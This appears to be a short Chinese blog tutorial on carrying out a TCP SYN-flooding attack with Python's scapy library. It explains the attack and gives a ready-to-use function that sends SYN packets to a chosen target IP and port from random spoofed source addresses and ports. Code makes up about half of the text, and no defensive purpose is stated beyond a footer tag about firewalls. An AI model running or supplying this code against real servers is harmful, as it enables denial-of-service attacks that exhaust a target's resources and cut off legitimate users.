使用scapy实现TCP SYN-Flooding攻击

 

基于ubuntu 16.04系统,首先安装scapy,如下的apt-get或者可使用python的pip命令安装,scapy是一个功能强大网络数据包处理程序,包括对数据包的嗅探、解析和构造。本文即使用其数据包构造功能,实现syn flooding攻击。

# sudo apt-get install scapy


TCP SYN Flooding即向服务器的监听端口不断发送TCP的SYN报文,但并不完成实际的TCP三次握手。使被攻击的服务器耗尽资源,导致正常的服务请求不能被处理。要达到此目的,在发送SYN报文时,我们需要变换报文中IP头部的源IP地址(随机生成),和TCP头部中的源端口号(1-65535之间)。

def send_tcp_syn_packet(dip, dport):
    ip_hdr = scapy.IP()
    tcp_hdr = scapy.TCP()

    ip_hdr.src = '%i.%i.%i.%i' % (
        random.randint(1, 254),
        random.randint(1, 254),
        random.randint(1, 254),
        random.randint(1, 254)
    )
    tcp_hdr.sport = random.randint(1, 65535)
    tcp_hdr.flags = 'S'

    ip_hdr.dst = dip
    tcp_hdr.dport = dport

    scapy.send(ip_hdr / tcp_hdr, verbose=0)

如上send_tcp_syn_packet所示,还需要设置TCP头部的标志位SYN(‘S’),表明这是一个SYN数据包。

 

 

你可能感兴趣的:(netfilter防火墙)